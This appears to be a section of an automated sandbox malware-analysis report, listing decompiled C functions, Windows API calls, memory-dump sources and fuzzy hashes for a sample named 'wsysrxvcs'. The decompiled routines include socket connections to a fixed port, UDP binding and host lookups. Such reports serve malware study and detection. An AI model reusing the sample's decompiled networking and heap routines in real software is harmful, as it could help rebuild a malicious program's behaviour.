                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1659193697-16428492
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b3949e0c2fd2e63c12215fa85189e972ed7a184dc012f70d3ecb9b1447e09982
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8f1187c902c68ea4e985910af34a717f04682fd009b52a8018311806009e31e0
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b3949e0c2fd2e63c12215fa85189e972ed7a184dc012f70d3ecb9b1447e09982
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 471142B5900108BFCB04DF98D941E9EBB75EF48304F14C1A9FD19AB342D635DA51CBA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040B500 Relevance: 4.5, APIs: 3, Instructions: 45networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000006), ref: 0040B513
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(00009E34), ref: 0040B545
                                                                                                                                                                                                                                                                                                                                                      • connect.WS2_32(000000FF,?,00000010), ref: 0040B55F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004094F0: shutdown.WS2_32(004094DD,00000002), ref: 004094F9
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004094F0: closesocket.WS2_32(004094DD), ref: 00409503
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: closesocketconnecthtonsshutdownsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1987800339-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9276ddb7980644fe51f74ad6eaaf05ac29e2b1b7bfed489a3f716966e5f66830
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 5a6820c39a12c53d6657ec4bb14cb0ea29dda0453e515a5c0fa34f2ace0d4139
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9276ddb7980644fe51f74ad6eaaf05ac29e2b1b7bfed489a3f716966e5f66830
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 66113C74E04309EBCF10DFA4D909AAEB770EF04324F2042A9E825A73D0D7744F019799
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 004088B0 Relevance: 4.5, APIs: 3, Instructions: 34memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 75%
                                                                                                                                                                                                                                                                                                                                                      			E004088B0(void* __ecx) {
				char _v8;
				signed char _t5;
				long _t7;
				signed char _t9;
				signed char _t10;

				if((E00408740() & 0x000000ff) == 0) {
					L2:
					_t5 = HeapCreate(0, 0, 0); // executed
					 *0x414c74 = _t5;
					if( *0x414c74 != 0) {
						_v8 = 2;
						_t9 =  *0x414c74; // 0x2190000
						__imp__HeapSetInformation(_t9, 0,  &_v8, 4);
						_t7 = GetCurrentProcessId();
						 *0x4156a8 = _t7;
						return _t7;
					}
				} else {
					_t10 =  *0x414c74; // 0x2190000
					_t5 = E00408820(_t10);
					if((_t5 & 0x000000ff) == 0) {
						goto L2;
					}
				}
				return _t5;
			}








                                                                                                                                                                                                                                                                                                                                                      0x004088be
                                                                                                                                                                                                                                                                                                                                                      0x004088d6
                                                                                                                                                                                                                                                                                                                                                      0x004088dc
                                                                                                                                                                                                                                                                                                                                                      0x004088e2
                                                                                                                                                                                                                                                                                                                                                      0x004088ee
                                                                                                                                                                                                                                                                                                                                                      0x004088f0
                                                                                                                                                                                                                                                                                                                                                      0x004088ff
                                                                                                                                                                                                                                                                                                                                                      0x00408906
                                                                                                                                                                                                                                                                                                                                                      0x0040890c
                                                                                                                                                                                                                                                                                                                                                      0x00408912
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00408912
                                                                                                                                                                                                                                                                                                                                                      0x004088c0
                                                                                                                                                                                                                                                                                                                                                      0x004088c0
                                                                                                                                                                                                                                                                                                                                                      0x004088c7
                                                                                                                                                                                                                                                                                                                                                      0x004088d4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004088d4
                                                                                                                                                                                                                                                                                                                                                      0x0040891a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00408740: GetCurrentProcessId.KERNEL32(?,0040895B,?,0040AF4E,00000010,?,?,?,?,?,?,0040B06B), ref: 00408743
                                                                                                                                                                                                                                                                                                                                                      • HeapCreate.KERNELBASE(00000000,00000000,00000000,?,?,00408967,?,0040AF4E,00000010,?,?,?,?,?,?,0040B06B), ref: 004088DC
                                                                                                                                                                                                                                                                                                                                                      • HeapSetInformation.KERNEL32(02190000,00000000,00000002,00000004), ref: 00408906
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentProcessId.KERNEL32 ref: 0040890C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00408820: GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040883C
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Process$CurrentHeap$CreateHeapsInformation
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3179415709-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b796bda7375515ff21fa17cdbd6c5dee5d2ead3d347a01f64070c474007def0e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c95a4473c637cb6ee7829fcf3d9023748affb3bcdfb64afa90668460124aabb9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b796bda7375515ff21fa17cdbd6c5dee5d2ead3d347a01f64070c474007def0e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 54F024B0501304BBE710EB70FE0ABA63765A784302F00813DF644AA2E0FFB98900C79C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00408950 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00408950(void* __ecx, void* __edx, intOrPtr _a4, long _a8) {
				int _v8;
				intOrPtr _v12;
				void* _v16;
				void* _t23;
				void* _t30;
				void* _t33;

				_t30 = __ecx;
				if((E00408740() & 0x000000ff) == 0) {
					E004088B0(_t30); // executed
				}
				_v8 = 0;
				if(_a4 != 0) {
					_v12 = E00408700(_a4 + 2, 4);
					_t33 =  *0x414c74; // 0x2190000
					_t23 = RtlAllocateHeap(_t33, _a8, _v12 + 0xc); // executed
					_v16 = _t23;
					if(_v16 != 0) {
						_v8 = E00408920(_v16, _v12);
						if((_a8 & 0x00000008) == 0) {
							memset(_v8 + _a4, 0, _v12 - _a4);
						}
					}
				}
				return _v8;
			}









                                                                                                                                                                                                                                                                                                                                                      0x00408950
                                                                                                                                                                                                                                                                                                                                                      0x00408960
                                                                                                                                                                                                                                                                                                                                                      0x00408962
                                                                                                                                                                                                                                                                                                                                                      0x00408962
                                                                                                                                                                                                                                                                                                                                                      0x00408967
                                                                                                                                                                                                                                                                                                                                                      0x00408972
                                                                                                                                                                                                                                                                                                                                                      0x00408985
                                                                                                                                                                                                                                                                                                                                                      0x00408993
                                                                                                                                                                                                                                                                                                                                                      0x0040899a
                                                                                                                                                                                                                                                                                                                                                      0x004089a0
                                                                                                                                                                                                                                                                                                                                                      0x004089a7
                                                                                                                                                                                                                                                                                                                                                      0x004089b9
                                                                                                                                                                                                                                                                                                                                                      0x004089c2
                                                                                                                                                                                                                                                                                                                                                      0x004089d4
                                                                                                                                                                                                                                                                                                                                                      0x004089d9
                                                                                                                                                                                                                                                                                                                                                      0x004089c2
                                                                                                                                                                                                                                                                                                                                                      0x004089a7
                                                                                                                                                                                                                                                                                                                                                      0x004089e2

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00408740: GetCurrentProcessId.KERNEL32(?,0040895B,?,0040AF4E,00000010,?,?,?,?,?,?,0040B06B), ref: 00408743
                                                                                                                                                                                                                                                                                                                                                      • RtlAllocateHeap.NTDLL(02190000,?,-0000000C), ref: 0040899A
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 004089D4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004088B0: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,?,00408967,?,0040AF4E,00000010,?,?,?,?,?,?,0040B06B), ref: 004088DC
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004088B0: HeapSetInformation.KERNEL32(02190000,00000000,00000002,00000004), ref: 00408906
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004088B0: GetCurrentProcessId.KERNEL32 ref: 0040890C
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Heap$CurrentProcess$AllocateCreateInformationmemset
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3494217179-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: bab60fb7fbc564671132309f3f2569c01abe1e8dfd56429086fcf2c3dd088345
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8ac0a93e9fc2b2e7f58486a198b358527659df8e9dc63e23676e9bf1523b9f99
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bab60fb7fbc564671132309f3f2569c01abe1e8dfd56429086fcf2c3dd088345
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6B1156B5D00208BFCB00EFA5DD45BAE7BB4AF44309F10C16DF548A7381DA399A50CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BE00 Relevance: 3.0, APIs: 2, Instructions: 49synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 93%
                                                                                                                                                                                                                                                                                                                                                      			E0040BE00(void* __ecx, void* __edi) {
				intOrPtr* _v8;
				LONG* _v12;
				short _v16;
				long _v20;
				void* __ebx;
				intOrPtr* _t13;
				LONG* _t14;
				void* _t23;
				intOrPtr _t27;
				void* _t29;
				void* _t30;

				_t28 = __edi;
				_t23 = __ecx;
				_push(0);
				_t13 = E0040DC60(__edi);
				_t30 = _t29 + 4;
				_v8 = _t13;
				if(_v8 != 0) {
					do {
						_t14 = E00409B70(_t23); // executed
						_v12 = _t14;
						if(_v12 != 0 && InterlockedExchangeAdd(_v12, 0) == 0) {
							_v20 = _v12[1];
							_v16 = 0x9e34;
							_t27 =  *0x4156cc; // 0x81a93ee8
							E00409FA0(_v8, 0, _t27, 0, 0, E0040BD80,  &_v20); // executed
							_t30 = _t30 + 0x1c;
						}
						_t23 =  *0x4156c4; // 0x584
					} while (WaitForSingleObject(_t23, 0x1388) == 0x102);
					return E0040DBF0(_v8, _t28);
				}
				return _t13;
			}














                                                                                                                                                                                                                                                                                                                                                      0x0040be00
                                                                                                                                                                                                                                                                                                                                                      0x0040be00
                                                                                                                                                                                                                                                                                                                                                      0x0040be07
                                                                                                                                                                                                                                                                                                                                                      0x0040be09
                                                                                                                                                                                                                                                                                                                                                      0x0040be0e
                                                                                                                                                                                                                                                                                                                                                      0x0040be11
                                                                                                                                                                                                                                                                                                                                                      0x0040be18
                                                                                                                                                                                                                                                                                                                                                      0x0040be1a
                                                                                                                                                                                                                                                                                                                                                      0x0040be1a
                                                                                                                                                                                                                                                                                                                                                      0x0040be1f
                                                                                                                                                                                                                                                                                                                                                      0x0040be26
                                                                                                                                                                                                                                                                                                                                                      0x0040be3e
                                                                                                                                                                                                                                                                                                                                                      0x0040be46
                                                                                                                                                                                                                                                                                                                                                      0x0040be57
                                                                                                                                                                                                                                                                                                                                                      0x0040be64
                                                                                                                                                                                                                                                                                                                                                      0x0040be69
                                                                                                                                                                                                                                                                                                                                                      0x0040be69
                                                                                                                                                                                                                                                                                                                                                      0x0040be71
                                                                                                                                                                                                                                                                                                                                                      0x0040be7e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040be88
                                                                                                                                                                                                                                                                                                                                                      0x0040be91

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DC60: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BE0E,00000000), ref: 0040DC85
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DC60: socket.WS2_32(00000002,00000002,00000011), ref: 0040DC94
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DC60: bind.WS2_32(?,?,00000010), ref: 0040DCD5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409B70: EnterCriticalSection.KERNEL32(004156AC), ref: 00409B80
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409B70: LeaveCriticalSection.KERNEL32(004156AC), ref: 00409BAC
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(00000000,00000000), ref: 0040BE2E
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000584,00001388), ref: 0040BE78
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$CreateEnterEventExchangeInterlockedLeaveObjectSingleWaitbindsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3920643007-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 35daa36a16b3f5d21c888d499fb6be3e112f63d20114828e74d2cb3b04228ead
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 047b38ba9e70f7c2b5b91d19702e860a8cbca6e9fe792952b1be8e35096be987
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 35daa36a16b3f5d21c888d499fb6be3e112f63d20114828e74d2cb3b04228ead
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0B015271A00208ABE700EBA4DC4ABDEB774EB44704F508579E505B72D2D7799E40C7D8
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409660 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 37%
                                                                                                                                                                                                                                                                                                                                                      			E00409660(intOrPtr _a4) {
				char _v260;
				char _v261;
				int _v268;
				signed int _v272;
				int _t23;

				_v261 = 0;
				_t23 = gethostname( &_v260, 0x100); // executed
				if(_t23 != 0xffffffff) {
					__imp__#52( &_v260); // executed
					_v268 = _t23;
					if(_v268 != 0) {
						_v272 = 0;
						while( *((intOrPtr*)( *((intOrPtr*)(_v268 + 0xc)) + _v272 * 4)) != 0) {
							if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v268 + 0xc)) + _v272 * 4)))) != _a4) {
								_v272 = _v272 + 1;
								continue;
							} else {
								_v261 = 1;
							}
							goto L8;
						}
					}
				}
				L8:
				return _v261;
			}








                                                                                                                                                                                                                                                                                                                                                      0x00409669
                                                                                                                                                                                                                                                                                                                                                      0x0040967c
                                                                                                                                                                                                                                                                                                                                                      0x00409685
                                                                                                                                                                                                                                                                                                                                                      0x0040968e
                                                                                                                                                                                                                                                                                                                                                      0x00409694
                                                                                                                                                                                                                                                                                                                                                      0x004096a1
                                                                                                                                                                                                                                                                                                                                                      0x004096a3
                                                                                                                                                                                                                                                                                                                                                      0x004096be
                                                                                                                                                                                                                                                                                                                                                      0x004096ea
                                                                                                                                                                                                                                                                                                                                                      0x004096b8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004096ec
                                                                                                                                                                                                                                                                                                                                                      0x004096ec
                                                                                                                                                                                                                                                                                                                                                      0x004096ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004096ea
                                                                                                                                                                                                                                                                                                                                                      0x004096be
                                                                                                                                                                                                                                                                                                                                                      0x004096a1
                                                                                                                                                                                                                                                                                                                                                      0x004096f7
                                                                                                                                                                                                                                                                                                                                                      0x00409700

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • gethostname.WS2_32(?,00000100), ref: 0040967C
                                                                                                                                                                                                                                                                                                                                                      • gethostbyname.WS2_32(?), ref: 0040968E
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: gethostbynamegethostname
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3961807697-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 49a553e0bdd024d7d0bfba6938699aa826ab910eab2f4fe1fe37ca1852c73c41
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 29ec5c1665924e69a6b81b471547df80764ae8c95c6d4914cfabd6b743d5f49a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 49a553e0bdd024d7d0bfba6938699aa826ab910eab2f4fe1fe37ca1852c73c41
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 97115E349082588BCB24CF14C898BE8B771AB65314F1486EAD8D967391C7FA6EC1CF85
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 004093F0 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: gethostbynameinet_addr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1594361348-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2875b9d2f6edd3bed649a36eed41d55c6a1869851284c859ff82732f1681da3b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9da4ab53f18a50bf0180dbbf48dd7b290d54b0506ae7e4c99a60370dd09b7726
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2875b9d2f6edd3bed649a36eed41d55c6a1869851284c859ff82732f1681da3b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 16F0AC78904208EFCB14DFA4E5889DDBBB4FB49311F2086A9E905673A0D7749E81DB84
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409510 Relevance: 3.0, APIs: 2, Instructions: 16synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409510() {
				void* _t1;
				long _t2;

				while(1) {
					_t1 =  *0x4156c4; // 0x584
					_t2 = WaitForSingleObject(_t1, 0x3e8);
					if(_t2 != 0x102) {
						break;
					}
					if(InterlockedDecrement(0x4133b4) == 0) {
						E00409640(); // executed
					}
				}
				return _t2;
			}





                                                                                                                                                                                                                                                                                                                                                      0x00409513
                                                                                                                                                                                                                                                                                                                                                      0x00409518
                                                                                                                                                                                                                                                                                                                                                      0x0040951e
                                                                                                                                                                                                                                                                                                                                                      0x00409529
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409538
                                                                                                                                                                                                                                                                                                                                                      0x0040953a
                                                                                                                                                                                                                                                                                                                                                      0x0040953a
                                                                                                                                                                                                                                                                                                                                                      0x0040953f
                                                                                                                                                                                                                                                                                                                                                      0x00409542

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000584,000003E8), ref: 0040951E
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(004133B4), ref: 00409530
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: DecrementInterlockedObjectSingleWait
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4086267124-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 922607e2429ef1bee64f9e5a9a03d97300d880c8e73df5c11568ee0d8cb3c00b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ad01196f0eb6bafe5b86fcf23d369976ea47725c419b2f3ff7de47e0aaf418e1
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 922607e2429ef1bee64f9e5a9a03d97300d880c8e73df5c11568ee0d8cb3c00b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 85D0A732600304A7D6415BA3BC4AB9A371C5721706B508033F505F51D2CAB8CEC0826D
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 004094F0 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(004094DD,00000002), ref: 004094F9
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(004094DD), ref: 00409503
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
